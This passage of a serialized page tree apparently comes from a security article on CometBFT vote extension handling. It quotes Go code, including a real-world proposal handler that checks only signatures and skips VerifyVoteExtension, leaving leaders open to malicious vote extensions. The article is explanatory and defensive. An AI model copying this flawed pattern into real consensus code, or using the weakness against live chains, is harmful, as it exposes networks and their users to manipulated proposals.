...\n}\n",[86821],{"type":22,"tag":30,"props":86822,"children":86823},{"__ignoreMap":7},[86824,86936,86943,86950,86958,86966,87050,87057,87065,87119,87126,87147,87154,87226,87242,87249,87323,87379,87386,87448,87455,87462,87481,87488,87495,87502],{"type":22,"tag":101,"props":86825,"children":86826},{"class":103,"line":104},[86827,86831,86835,86840,86844,86849,86853,86858,86862,86867,86871,86875,86879,86884,86888,86893,86898,86902,86907,86911,86916,86920,86924,86928,86932],{"type":22,"tag":101,"props":86828,"children":86829},{"style":108},[86830],{"type":27,"value":79807},{"type":22,"tag":101,"props":86832,"children":86833},{"style":120},[86834],{"type":27,"value":3603},{"type":22,"tag":101,"props":86836,"children":86837},{"style":126},[86838],{"type":27,"value":86839},"cs ",{"type":22,"tag":101,"props":86841,"children":86842},{"style":166},[86843],{"type":27,"value":8615},{"type":22,"tag":101,"props":86845,"children":86846},{"style":114},[86847],{"type":27,"value":86848},"State",{"type":22,"tag":101,"props":86850,"children":86851},{"style":120},[86852],{"type":27,"value":901},{"type":22,"tag":101,"props":86854,"children":86855},{"style":926},[86856],{"type":27,"value":86857},"addVote",{"type":22,"tag":101,"props":86859,"children":86860},{"style":120},[86861],{"type":27,"value":980},{"type":22,"tag":101,"props":86863,"children":86864},{"style":126},[86865],{"type":27,"value":86866},"vote",{"type":22,"tag":101,"props":86868,"children":86869},{"style":166},[86870],{"type":27,"value":13822},{"type":22,"tag":101,"props":86872,"children":86873},{"style":114},[86874],{"type":27,"value":9802},{"type":22,"tag":101,"props":86876,"children":86877},{"style":120},[86878],{"type":27,"value":231},{"type":22,"tag":101,"props":86880,"children":86881},{"style":114},[86882],{"type":27,"value":86883},"Vote",{"type":22,"tag":101,"props":86885,"children":86886},{"style":120},[86887],{"type":27,"value":758},{"type":22,"tag":101,"props":86889,"children":86890},{"style":126},[86891],{"type":27,"value":86892},"peerID",{"type":22,"tag":101,"props":86894,"children":86895},{"style":114},[86896],{"type":27,"value":86897}," p2p",{"type":22,"tag":101,"props":86899,"children":86900},{"style":120},[86901],{"type":27,"value":231},{"type":22,"tag":101,"props":86903,"children":86904},{"style":114},[86905],{"type":27,"value":86906},"ID",{"type":22,"tag":101,"props":86908,"children":86909},{"style":120},[86910],{"type":27,"value":79889},{"type":22,"tag":101,"props":86912,"children":86913},{"style":126},[86914],{"type":27,"value":86915},"added",{"type":22,"tag":101,"props":86917,"children":86918},{"style":114},[86919],{"type":27,"value":360},{"type":22,"tag":101,"props":86921,"children":86922},{"style":120},[86923],{"type":27,"value":758},{"type":22,"tag":101,"props":86925,"children":86926},{"style":126},[86927],{"type":27,"value":52417},{"type":22,"tag":101,"props":86929,"children":86930},{"style":114},[86931],{"type":27,"value":18878},{"type":22,"tag":101,"props":86933,"children":86934},{"style":120},[86935],{"type":27,"value":1463},{"type":22,"tag":101,"props":86937,"children":86938},{"class":103,"line":157},[86939],{"type":22,"tag":101,"props":86940,"children":86941},{"style":166},[86942],{"type":27,"value":24329},{"type":22,"tag":101,"props":86944,"children":86945},{"class":103,"line":182},[86946],{"type":22,"tag":101,"props":86947,"children":86948},{"emptyLinePlaceholder":15},[86949],{"type":27,"value":1581},{"type":22,"tag":101,"props":86951,"children":86952},{"class":103,"line":367},[86953],{"type":22,"tag":101,"props":86954,"children":86955},{"style":2215},[86956],{"type":27,"value":86957}," // A precommit for the previous height?\n",{"type":22,"tag":101,"props":86959,"children":86960},{"class":103,"line":398},[86961],{"type":22,"tag":101,"props":86962,"children":86963},{"style":2215},[86964],{"type":27,"value":86965}," // These come in while we wait timeoutCommit\n",{"type":22,"tag":101,"props":86967,"children":86968},{"class":103,"line":428},[86969,86973,86978,86982,86987,86991,86995,86999,87004,87008,87012,87016,87020,87024,87029,87033,87037,87041,87046],{"type":22,"tag":101,"props":86970,"children":86971},{"style":3595},[86972],{"type":27,"value":16283},{"type":22,"tag":101,"props":86974,"children":86975},{"style":126},[86976],{"type":27,"value":86977}," vote",{"type":22,"tag":101,"props":86979,"children":86980},{"style":120},[86981],{"type":27,"value":231},{"type":22,"tag":101,"props":86983,"children":86984},{"style":126},[86985],{"type":27,"value":86986},"Height",{"type":22,"tag":101,"props":86988,"children":86989},{"style":166},[86990],{"type":27,"value":8426},{"type":22,"tag":101,"props":86992,"children":86993},{"style":1544},[86994],{"type":27,"value":6813},{"type":22,"tag":101,"props":86996,"children":86997},{"style":166},[86998],{"type":27,"value":1541},{"type":22,"tag":101,"props":87000,"children":87001},{"style":126},[87002],{"type":27,"value":87003}," cs",{"type":22,"tag":101,"props":87005,"children":87006},{"style":120},[87007],{"type":27,"value":231},{"type":22,"tag":101,"props":87009,"children":87010},{"style":126},[87011],{"type":27,"value":86986},{"type":22,"tag":101,"props":87013,"children":87014},{"style":166},[87015],{"type":27,"value":18187},{"type":22,"tag":101,"props":87017,"children":87018},{"style":126},[87019],{"type":27,"value":86977},{"type":22,"tag":101,"props":87021,"children":87022},{"style":120},[87023],{"type":27,"value":231},{"type":22,"tag":101,"props":87025,"children":87026},{"style":126},[87027],{"type":27,"value":87028},"Type",{"type":22,"tag":101,"props":87030,"children":87031},{"style":166},[87032],{"type":27,"value":1541},{"type":22,"tag":101,"props":87034,"children":87035},{"style":126},[87036],{"type":27,"value":81682},{"type":22,"tag":101,"props":87038,"children":87039},{"style":120},[87040],{"type":27,"value":231},{"type":22,"tag":101,"props":87042,"children":87043},{"style":126},[87044],{"type":27,"value":87045},"PrecommitType",{"type":22,"tag":101,"props":87047,"children":87048},{"style":120},[87049],{"type":27,"value":154},{"type":22,"tag":101,"props":87051,"children":87052},{"class":103,"line":997},[87053],{"type":22,"tag":101,"props":87054,"children":87055},{"style":166},[87056],{"type":27,"value":85349},{"type":22,"tag":101,"props":87058,"children":87059},{"class":103,"line":1032},[87060],{"type":22,"tag":101,"props":87061,"children":87062},{"style":2215},[87063],{"type":27,"value":87064}," // Late precommits are not checked by VerifyVoteExtension\n",{"type":22,"tag":101,"props":87066,"children":87067},{"class":103,"line":1063},[87068,87073,87077,87081,87085,87089,87093,87098,87102,87107,87111,87115],{"type":22,"tag":101,"props":87069,"children":87070},{"style":126},[87071],{"type":27,"value":87072}," added",{"type":22,"tag":101,"props":87074,"children":87075},{"style":120},[87076],{"type":27,"value":758},{"type":22,"tag":101,"props":87078,"children":87079},{"style":126},[87080],{"type":27,"value":52417},{"type":22,"tag":101,"props":87082,"children":87083},{"style":166},[87084],{"type":27,"value":960},{"type":22,"tag":101,"props":87086,"children":87087},{"style":126},[87088],{"type":27,"value":87003},{"type":22,"tag":101,"props":87090,"children":87091},{"style":120},[87092],{"type":27,"value":231},{"type":22,"tag":101,"props":87094,"children":87095},{"style":126},[87096],{"type":27,"value":87097},"LastCommit",{"type":22,"tag":101,"props":87099,"children":87100},{"style":120},[87101],{"type":27,"value":231},{"type":22,"tag":101,"props":87103,"children":87104},{"style":926},[87105],{"type":27,"value":87106},"AddVote",{"type":22,"tag":101,"props":87108,"children":87109},{"style":120},[87110],{"type":27,"value":980},{"type":22,"tag":101,"props":87112,"children":87113},{"style":126},[87114],{"type":27,"value":86866},{"type":22,"tag":101,"props":87116,"children":87117},{"style":120},[87118],{"type":27,"value":2510},{"type":22,"tag":101,"props":87120,"children":87121},{"class":103,"line":1071},[87122],{"type":22,"tag":101,"props":87123,"children":87124},{"style":166},[87125],{"type":27,"value":85349},{"type":22,"tag":101,"props":87127,"children":87128},{"class":103,"line":1110},[87129,87133,87138,87142],{"type":22,"tag":101,"props":87130,"children":87131},{"style":3595},[87132],{"type":27,"value":19742},{"type":22,"tag":101,"props":87134,"children":87135},{"style":126},[87136],{"type":27,"value":87137}," added",{"type":22,"tag":101,"props":87139,"children":87140},{"style":120},[87141],{"type":27,"value":758},{"type":22,"tag":101,"props":87143,"children":87144},{"style":126},[87145],{"type":27,"value":87146},"err\n",{"type":22,"tag":101,"props":87148,"children":87149},{"class":103,"line":1118},[87150],{"type":22,"tag":101,"props":87151,"children":87152},{"style":120},[87153],{"type":27,"value":1734},{"type":22,"tag":101,"props":87155,"children":87156},{"class":103,"line":1158},[87157,87162,87166,87170,87174,87179,87183,87188,87192,87197,87201,87206,87210,87214,87218,87222],{"type":22,"tag":101,"props":87158,"children":87159},{"style":126},[87160],{"type":27,"value":87161}," extEnabled",{"type":22,"tag":101,"props":87163,"children":87164},{"style":166},[87165],{"type":27,"value":79923},{"type":22,"tag":101,"props":87167,"children":87168},{"style":126},[87169],{"type":27,"value":87003},{"type":22,"tag":101,"props":87171,"children":87172},{"style":120},[87173],{"type":27,"value":231},{"type":22,"tag":101,"props":87175,"children":87176},{"style":126},[87177],{"type":27,"value":87178},"state",{"type":22,"tag":101,"props":87180,"children":87181},{"style":120},[87182],{"type":27,"value":231},{"type":22,"tag":101,"props":87184,"children":87185},{"style":126},[87186],{"type":27,"value":87187},"ConsensusParams",{"type":22,"tag":101,"props":87189,"children":87190},{"style":120},[87191],{"type":27,"value":231},{"type":22,"tag":101,"props":87193,"children":87194},{"style":126},[87195],{"type":27,"value":87196},"Feature",{"type":22,"tag":101,"props":87198,"children":87199},{"style":120},[87200],{"type":27,"value":231},{"type":22,"tag":101,"props":87202,"children":87203},{"style":926},[87204],{"type":27,"value":87205},"VoteExtensionsEnabled",{"type":22,"tag":101,"props":87207,"children":87208},{"style":120},[87209],{"type":27,"value":980},{"type":22,"tag":101,"props":87211,"children":87212},{"style":126},[87213],{"type":27,"value":86866},{"type":22,"tag":101,"props":87215,"children":87216},{"style":120},[87217],{"type":27,"value":231},{"type":22,"tag":101,"props":87219,"children":87220},{"style":126},[87221],{"type":27,"value":86986},{"type":22,"tag":101,"props":87223,"children":87224},{"style":120},[87225],{"type":27,"value":2510},{"type":22,"tag":101,"props":87227,"children":87228},{"class":103,"line":1166},[87229,87233,87238],{"type":22,"tag":101,"props":87230,"children":87231},{"style":3595},[87232],{"type":27,"value":16283},{"type":22,"tag":101,"props":87234,"children":87235},{"style":126},[87236],{"type":27,"value":87237}," extEnabled",{"type":22,"tag":101,"props":87239,"children":87240},{"style":120},[87241],{"type":27,"value":154},{"type":22,"tag":101,"props":87243,"children":87244},{"class":103,"line":1215},[87245],{"type":22,"tag":101,"props":87246,"children":87247},{"style":166},[87248],{"type":27,"value":85349},{"type":22,"tag":101,"props":87250,"children":87251},{"class":103,"line":2425},[87252,87256,87260,87264,87268,87272,87276,87280,87284,87288,87292,87296,87300,87305,87309,87314,87318],{"type":22,"tag":101,"props":87253,"children":87254},{"style":3595},[87255],{"type":27,"value":7312},{"type":22,"tag":101,"props":87257,"children":87258},{"style":126},[87259],{"type":27,"value":86977},{"type":22,"tag":101,"props":87261,"children":87262},{"style":120},[87263],{"type":27,"value":231},{"type":22,"tag":101,"props":87265,"children":87266},{"style":126},[87267],{"type":27,"value":87028},{"type":22,"tag":101,"props":87269,"children":87270},{"style":166},[87271],{"type":27,"value":1541},{"type":22,"tag":101,"props":87273,"children":87274},{"style":126},[87275],{"type":27,"value":81682},{"type":22,"tag":101,"props":87277,"children":87278},{"style":120},[87279],{"type":27,"value":231},{"type":22,"tag":101,"props":87281,"children":87282},{"style":126},[87283],{"type":27,"value":87045},{"type":22,"tag":101,"props":87285,"children":87286},{"style":166},[87287],{"type":27,"value":18187},{"type":22,"tag":101,"props":87289,"children":87290},{"style":166},[87291],{"type":27,"value":16868},{"type":22,"tag":101,"props":87293,"children":87294},{"style":126},[87295],{"type":27,"value":86866},{"type":22,"tag":101,"props":87297,"children":87298},{"style":120},[87299],{"type":27,"value":231},{"type":22,"tag":101,"props":87301,"children":87302},{"style":126},[87303],{"type":27,"value":87304},"BlockID",{"type":22,"tag":101,"props":87306,"children":87307},{"style":120},[87308],{"type":27,"value":231},{"type":22,"tag":101,"props":87310,"children":87311},{"style":926},[87312],{"type":27,"value":87313},"IsNil",{"type":22,"tag":101,"props":87315,"children":87316},{"style":120},[87317],{"type":27,"value":18045},{"type":22,"tag":101,"props":87319,"children":87320},{"style":166},[87321],{"type":27,"value":87322},"&&\n",{"type":22,"tag":101,"props":87324,"children":87325},{"class":103,"line":5417},[87326,87331,87336,87340,87344,87348,87352,87356,87361,87365,87370,87374],{"type":22,"tag":101,"props":87327,"children":87328},{"style":166},[87329],{"type":27,"value":87330}," !",{"type":22,"tag":101,"props":87332,"children":87333},{"style":126},[87334],{"type":27,"value":87335},"bytes",{"type":22,"tag":101,"props":87337,"children":87338},{"style":120},[87339],{"type":27,"value":231},{"type":22,"tag":101,"props":87341,"children":87342},{"style":926},[87343],{"type":27,"value":85805},{"type":22,"tag":101,"props":87345,"children":87346},{"style":120},[87347],{"type":27,"value":980},{"type":22,"tag":101,"props":87349,"children":87350},{"style":126},[87351],{"type":27,"value":86866},{"type":22,"tag":101,"props":87353,"children":87354},{"style":120},[87355],{"type":27,"value":231},{"type":22,"tag":101,"props":87357,"children":87358},{"style":126},[87359],{"type":27,"value":87360},"ValidatorAddress",{"type":22,"tag":101,"props":87362,"children":87363},{"style":120},[87364],{"type":27,"value":758},{"type":22,"tag":101,"props":87366,"children":87367},{"style":126},[87368],{"type":27,"value":87369},"myAddr",{"type":22,"tag":101,"props":87371,"children":87372},{"style":120},[87373],{"type":27,"value":27987},{"type":22,"tag":101,"props":87375,"children":87376},{"style":2215},[87377],{"type":27,"value":87378},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":22,"tag":101,"props":87380,"children":87381},{"class":103,"line":7714},[87382],{"type":22,"tag":101,"props":87383,"children":87384},{"style":166},[87385],{"type":27,"value":86025},{"type":22,"tag":101,"props":87387,"children":87388},{"class":103,"line":7723},[87389,87393,87397,87401,87405,87410,87414,87418,87422,87427,87431,87436,87440,87444],{"type":22,"tag":101,"props":87390,"children":87391},{"style":126},[87392],{"type":27,"value":85843},{"type":22,"tag":101,"props":87394,"children":87395},{"style":166},[87396],{"type":27,"value":79923},{"type":22,"tag":101,"props":87398,"children":87399},{"style":126},[87400],{"type":27,"value":87003},{"type":22,"tag":101,"props":87402,"children":87403},{"style":120},[87404],{"type":27,"value":231},{"type":22,"tag":101,"props":87406,"children":87407},{"style":126},[87408],{"type":27,"value":87409},"blockExec",{"type":22,"tag":101,"props":87411,"children":87412},{"style":120},[87413],{"type":27,"value":231},{"type":22,"tag":101,"props":87415,"children":87416},{"style":926},[87417],{"type":27,"value":86671},{"type":22,"tag":101,"props":87419,"children":87420},{"style":120},[87421],{"type":27,"value":980},{"type":22,"tag":101,"props":87423,"children":87424},{"style":126},[87425],{"type":27,"value":87426},"context",{"type":22,"tag":101,"props":87428,"children":87429},{"style":120},[87430],{"type":27,"value":231},{"type":22,"tag":101,"props":87432,"children":87433},{"style":926},[87434],{"type":27,"value":87435},"TODO",{"type":22,"tag":101,"props":87437,"children":87438},{"style":120},[87439],{"type":27,"value":1147},{"type":22,"tag":101,"props":87441,"children":87442},{"style":126},[87443],{"type":27,"value":86866},{"type":22,"tag":101,"props":87445,"children":87446},{"style":120},[87447],{"type":27,"value":2510},{"type":22,"tag":101,"props":87449,"children":87450},{"class":103,"line":7791},[87451],{"type":22,"tag":101,"props":87452,"children":87453},{"style":166},[87454],{"type":27,"value":86025},{"type":22,"tag":101,"props":87456,"children":87457},{"class":103,"line":7799},[87458],{"type":22,"tag":101,"props":87459,"children":87460},{"style":120},[87461],{"type":27,"value":2398},{"type":22,"tag":101,"props":87463,"children":87464},{"class":103,"line":7829},[87465,87469,87473,87477],{"type":22,"tag":101,"props":87466,"children":87467},{"style":120},[87468],{"type":27,"value":19777},{"type":22,"tag":101,"props":87470,"children":87471},{"style":3595},[87472],{"type":27,"value":7354},{"type":22,"tag":101,"props":87474,"children":87475},{"style":3595},[87476],{"type":27,"value":19786},{"type":22,"tag":101,"props":87478,"children":87479},{"style":120},[87480],{"type":27,"value":154},{"type":22,"tag":101,"props":87482,"children":87483},{"class":103,"line":7837},[87484],{"type":22,"tag":101,"props":87485,"children":87486},{"style":166},[87487],{"type":27,"value":85349},{"type":22,"tag":101,"props":87489,"children":87490},{"class":103,"line":7868},[87491],{"type":22,"tag":101,"props":87492,"children":87493},{"style":120},[87494],{"type":27,"value":1734},{"type":22,"tag":101,"props":87496,"children":87497},{"class":103,"line":7876},[87498],{"type":22,"tag":101,"props":87499,"children":87500},{"style":166},[87501],{"type":27,"value":24329},{"type":22,"tag":101,"props":87503,"children":87504},{"class":103,"line":7936},[87505],{"type":22,"tag":101,"props":87506,"children":87507},{"style":120},[87508],{"type":27,"value":188},{"type":22,"tag":23,"props":87510,"children":87511},{},[87512],{"type":27,"value":87513},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":22,"tag":1760,"props":87515,"children":87517},{"id":87516},"real-world-examples-4",[87518],{"type":27,"value":80196},{"type":22,"tag":23,"props":87520,"children":87521},{},[87522,87524,87529,87531,87537,87539,87545],{"type":27,"value":87523},"An example of the bug we just described is shown here. ",{"type":22,"tag":30,"props":87525,"children":87527},{"className":87526},[],[87528],{"type":27,"value":86650},{"type":27,"value":87530}," only checks that each vote is properly signed by a validator in ",{"type":22,"tag":30,"props":87532,"children":87534},{"className":87533},[],[87535],{"type":27,"value":87536},"ValidateVoteExtension",{"type":27,"value":87538}," but does not verify it against the rules in ",{"type":22,"tag":30,"props":87540,"children":87542},{"className":87541},[],[87543],{"type":27,"value":87544},"VerifyVoteExtention.",{"type":27,"value":87546}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":22,"tag":23,"props":87548,"children":87549},{},[87550],{"type":22,"tag":80,"props":87551,"children":87554},{"href":87552,"rel":87553},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[84],[87555],{"type":27,"value":80246},{"type":22,"tag":91,"props":87557,"children":87559},{"code":87558,"language":79671,"meta":7,"className":79672,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n ...\n var injection []byte\n if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n //Fails to verify vote extensions with VerifyVoteExtension rules\n err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n if err != nil {\n return nil, err\n }\n injection, err = json.Marshal(req.LocalLastCommit)\n if err != nil {\n h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n return nil, err\n }\n ...\n }\n defaultRes, err := h.defaultPrepareProposal(ctx, req)\n ...\n proposalTxs := defaultRes.Txs\n if injection != nil {\n proposalTxs = append([][]byte{injection}, proposalTxs...)\n h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n }\n return &abcitypes.ResponsePrepareProposal{\n Txs: proposalTxs,\n }, nil\n }\n}\n",[87560],{"type":22,"tag":30,"props":87561,"children":87562},{"__ignoreMap":7},[87563,87617,87708,87715,87736,87803,87811,87916,87939,87958,87965,88019,88042,88097,88116,88123,88130,88137,88191,88198,88224,88247,88299,88361,88368,88395,88415,88427,88434],{"type":22,"tag":101,"props":87564,"children":87565},{"class":103,"line":104},[87566,87570,87574,87579,87583,87588,87592,87597,87601,87605,87609,87613],{"type":22,"tag":101,"props":87567,"children":87568},{"style":108},[87569],{"type":27,"value":79807},{"type":22,"tag":101,"props":87571,"children":87572},{"style":120},[87573],{"type":27,"value":3603},{"type":22,"tag":101,"props":87575,"children":87576},{"style":126},[87577],{"type":27,"value":87578},"h ",{"type":22,"tag":101,"props":87580,"children":87581},{"style":166},[87582],{"type":27,"value":8615},{"type":22,"tag":101,"props":87584,"children":87585},{"style":114},[87586],{"type":27,"value":87587},"Handlers",{"type":22,"tag":101,"props":87589,"children":87590},{"style":120},[87591],{"type":27,"value":901},{"type":22,"tag":101,"props":87593,"children":87594},{"style":926},[87595],{"type":27,"value":87596},"PrepareProposalHandler",{"type":22,"tag":101,"props":87598,"children":87599},{"style":120},[87600],{"type":27,"value":18045},{"type":22,"tag":101,"props":87602,"children":87603},{"style":114},[87604],{"type":27,"value":82237},{"type":22,"tag":101,"props":87606,"children":87607},{"style":120},[87608],{"type":27,"value":231},{"type":22,"tag":101,"props":87610,"children":87611},{"style":114},[87612],{"type":27,"value":87596},{"type":22,"tag":101,"props":87614,"children":87615},{"style":120},[87616],{"type":27,"value":154},{"type":22,"tag":101,"props":87618,"children":87619},{"class":103,"line":157},[87620,87624,87628,87632,87636,87640,87644,87648,87652,87657,87661,87666,87670,87675,87679,87683,87687,87691,87696,87700,87704],{"type":22,"tag":101,"props":87621,"children":87622},{"style":3595},[87623],{"type":27,"value":20986},{"type":22,"tag":101,"props":87625,"children":87626},{"style":108},[87627],{"type":27,"value":83516},{"type":22,"tag":101,"props":87629,"children":87630},{"style":120},[87631],{"type":27,"value":980},{"type":22,"tag":101,"props":87633,"children":87634},{"style":126},[87635],{"type":27,"value":24271},{"type":22,"tag":101,"props":87637,"children":87638},{"style":114},[87639],{"type":27,"value":82148},{"type":22,"tag":101,"props":87641,"children":87642},{"style":120},[87643],{"type":27,"value":231},{"type":22,"tag":101,"props":87645,"children":87646},{"style":114},[87647],{"type":27,"value":79856},{"type":22,"tag":101,"props":87649,"children":87650},{"style":120},[87651],{"type":27,"value":758},{"type":22,"tag":101,"props":87653,"children":87654},{"style":126},[87655],{"type":27,"value":87656},"req",{"type":22,"tag":101,"props":87658,"children":87659},{"style":166},[87660],{"type":27,"value":13822},{"type":22,"tag":101,"props":87662,"children":87663},{"style":114},[87664],{"type":27,"value":87665},"abcitypes",{"type":22,"tag":101,"props":87667,"children":87668},{"style":120},[87669],{"type":27,"value":231},{"type":22,"tag":101,"props":87671,"children":87672},{"style":114},[87673],{"type":27,"value":87674},"RequestPrepareProposal",{"type":22,"tag":101,"props":87676,"children":87677},{"style":120},[87678],{"type":27,"value":79889},{"type":22,"tag":101,"props":87680,"children":87681},{"style":166},[87682],{"type":27,"value":8615},{"type":22,"tag":101,"props":87684,"children":87685},{"style":114},[87686],{"type":27,"value":87665},{"type":22,"tag":101,"props":87688,"children":87689},{"style":120},[87690],{"type":27,"value":231},{"type":22,"tag":101,"props":87692,"children":87693},{"style":114},[87694],{"type":27,"value":87695},"ResponsePrepareProposal",{"type":22,"tag":101,"props":87697,"children":87698},{"style":120},[87699],{"type":27,"value":758},{"type":22,"tag":101,"props":87701,"children":87702},{"style":114},[87703],{"type":27,"value":18865},{"type":22,"tag":101,"props":87705,"children":87706},{"style":120},[87707],{"type":27,"value":1463},{"type":22,"tag":101,"props":87709,"children":87710},{"class":103,"line":182},[87711],{"type":22,"tag":101,"props":87712,"children":87713},{"style":166},[87714],{"type":27,"value":85349},{"type":22,"tag":101,"props":87716,"children":87717},{"class":103,"line":367},[87718,87722,87727,87731],{"type":22,"tag":101,"props":87719,"children":87720},{"style":108},[87721],{"type":27,"value":83625},{"type":22,"tag":101,"props":87723,"children":87724},{"style":126},[87725],{"type":27,"value":87726}," injection",{"type":22,"tag":101,"props":87728,"children":87729},{"style":120},[87730],{"type":27,"value":79734},{"type":22,"tag":101,"props":87732,"children":87733},{"style":114},[87734],{"type":27,"value":87735},"byte\n",{"type":22,"tag":101,"props":87737,"children":87738},{"class":103,"line":398},[87739,87743,87748,87752,87756,87760,87764,87768,87772,87776,87781,87785,87790,87794,87799],{"type":22,"tag":101,"props":87740,"children":87741},{"style":3595},[87742],{"type":27,"value":7312},{"type":22,"tag":101,"props":87744,"children":87745},{"style":126},[87746],{"type":27,"value":87747}," req",{"type":22,"tag":101,"props":87749,"children":87750},{"style":120},[87751],{"type":27,"value":231},{"type":22,"tag":101,"props":87753,"children":87754},{"style":126},[87755],{"type":27,"value":86986},{"type":22,"tag":101,"props":87757,"children":87758},{"style":166},[87759],{"type":27,"value":18196},{"type":22,"tag":101,"props":87761,"children":87762},{"style":126},[87763],{"type":27,"value":29841},{"type":22,"tag":101,"props":87765,"children":87766},{"style":120},[87767],{"type":27,"value":231},{"type":22,"tag":101,"props":87769,"children":87770},{"style":926},[87771],{"type":27,"value":87187},{"type":22,"tag":101,"props":87773,"children":87774},{"style":120},[87775],{"type":27,"value":34165},{"type":22,"tag":101,"props":87777,"children":87778},{"style":126},[87779],{"type":27,"value":87780},"Abci",{"type":22,"tag":101,"props":87782,"children":87783},{"style":120},[87784],{"type":27,"value":231},{"type":22,"tag":101,"props":87786,"children":87787},{"style":126},[87788],{"type":27,"value":87789},"VoteExtensionsEnableHeight",{"type":22,"tag":101,"props":87791,"children":87792},{"style":166},[87793],{"type":27,"value":18187},{"type":22,"tag":101,"props":87795,"children":87796},{"style":126},[87797],{"type":27,"value":87798}," collectSigs",{"type":22,"tag":101,"props":87800,"children":87801},{"style":120},[87802],{"type":27,"value":154},{"type":22,"tag":101,"props":87804,"children":87805},{"class":103,"line":428},[87806],{"type":22,"tag":101,"props":87807,"children":87808},{"style":2215},[87809],{"type":27,"value":87810}," //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":22,"tag":101,"props":87812,"children":87813},{"class":103,"line":997},[87814,87818,87822,87827,87831,87836,87840,87844,87848,87853,87857,87862,87866,87870,87874,87878,87882,87886,87890,87895,87899,87903,87907,87912],{"type":22,"tag":101,"props":87815,"children":87816},{"style":126},[87817],{"type":27,"value":85843},{"type":22,"tag":101,"props":87819,"children":87820},{"style":166},[87821],{"type":27,"value":79923},{"type":22,"tag":101,"props":87823,"children":87824},{"style":126},[87825],{"type":27,"value":87826}," baseapp",{"type":22,"tag":101,"props":87828,"children":87829},{"style":120},[87830],{"type":27,"value":231},{"type":22,"tag":101,"props":87832,"children":87833},{"style":926},[87834],{"type":27,"value":87835},"ValidateVoteExtensions",{"type":22,"tag":101,"props":87837,"children":87838},{"style":120},[87839],{"type":27,"value":980},{"type":22,"tag":101,"props":87841,"children":87842},{"style":126},[87843],{"type":27,"value":24271},{"type":22,"tag":101,"props":87845,"children":87846},{"style":120},[87847],{"type":27,"value":758},{"type":22,"tag":101,"props":87849,"children":87850},{"style":126},[87851],{"type":27,"value":87852},"h",{"type":22,"tag":101,"props":87854,"children":87855},{"style":120},[87856],{"type":27,"value":231},{"type":22,"tag":101,"props":87858,"children":87859},{"style":126},[87860],{"type":27,"value":87861},"stakingKeeper",{"type":22,"tag":101,"props":87863,"children":87864},{"style":120},[87865],{"type":27,"value":758},{"type":22,"tag":101,"props":87867,"children":87868},{"style":126},[87869],{"type":27,"value":87656},{"type":22,"tag":101,"props":87871,"children":87872},{"style":120},[87873],{"type":27,"value":231},{"type":22,"tag":101,"props":87875,"children":87876},{"style":126},[87877],{"type":27,"value":86986},{"type":22,"tag":101,"props":87879,"children":87880},{"style":120},[87881],{"type":27,"value":758},{"type":22,"tag":101,"props":87883,"children":87884},{"style":126},[87885],{"type":27,"value":24271},{"type":22,"tag":101,"props":87887,"children":87888},{"style":120},[87889],{"type":27,"value":231},{"type":22,"tag":101,"props":87891,"children":87892},{"style":926},[87893],{"type":27,"value":87894},"ChainID",{"type":22,"tag":101,"props":87896,"children":87897},{"style":120},[87898],{"type":27,"value":1147},{"type":22,"tag":101,"props":87900,"children":87901},{"style":126},[87902],{"type":27,"value":87656},{"type":22,"tag":101,"props":87904,"children":87905},{"style":120},[87906],{"type":27,"value":231},{"type":22,"tag":101,"props":87908,"children":87909},{"style":126},[87910],{"type":27,"value":87911},"LocalLastCommit",{"type":22,"tag":101,"props":87913,"children":87914},{"style":120},[87915],{"type":27,"value":2510},{"type":22,"tag":101,"props":87917,"children":87918},{"class":103,"line":1032},[87919,87923,87927,87931,87935],{"type":22,"tag":101,"props":87920,"children":87921},{"style":3595},[87922],{"type":27,"value":62798},{"type":22,"tag":101,"props":87924,"children":87925},{"style":126},[87926],{"type":27,"value":52518},{"type":22,"tag":101,"props":87928,"children":87929},{"style":166},[87930],{"type":27,"value":3612},{"type":22,"tag":101,"props":87932,"children":87933},{"style":108},[87934],{"type":27,"value":85425},{"type":22,"tag":101,"props":87936,"children":87937},{"style":120},[87938],{"type":27,"value":154},{"type":22,"tag":101,"props":87940,"children":87941},{"class":103,"line":1063},[87942,87946,87950,87954],{"type":22,"tag":101,"props":87943,"children":87944},{"style":3595},[87945],{"type":27,"value":64726},{"type":22,"tag":101,"props":87947,"children":87948},{"style":108},[87949],{"type":27,"value":85425},{"type":22,"tag":101,"props":87951,"children":87952},{"style":120},[87953],{"type":27,"value":758},{"type":22,"tag":101,"props":87955,"children":87956},{"style":126},[87957],{"type":27,"value":87146},{"type":22,"tag":101,"props":87959,"children":87960},{"class":103,"line":1071},[87961],{"type":22,"tag":101,"props":87962,"children":87963},{"style":120},[87964],{"type":27,"value":62882},{"type":22,"tag":101,"props":87966,"children":87967},{"class":103,"line":1110},[87968,87973,87977,87981,87985,87990,87994,87999,88003,88007,88011,88015],{"type":22,"tag":101,"props":87969,"children":87970},{"style":126},[87971],{"type":27,"value":87972}," injection",{"type":22,"tag":101,"props":87974,"children":87975},{"style":120},[87976],{"type":27,"value":758},{"type":22,"tag":101,"props":87978,"children":87979},{"style":126},[87980],{"type":27,"value":52417},{"type":22,"tag":101,"props":87982,"children":87983},{"style":166},[87984],{"type":27,"value":960},{"type":22,"tag":101,"props":87986,"children":87987},{"style":126},[87988],{"type":27,"value":87989}," 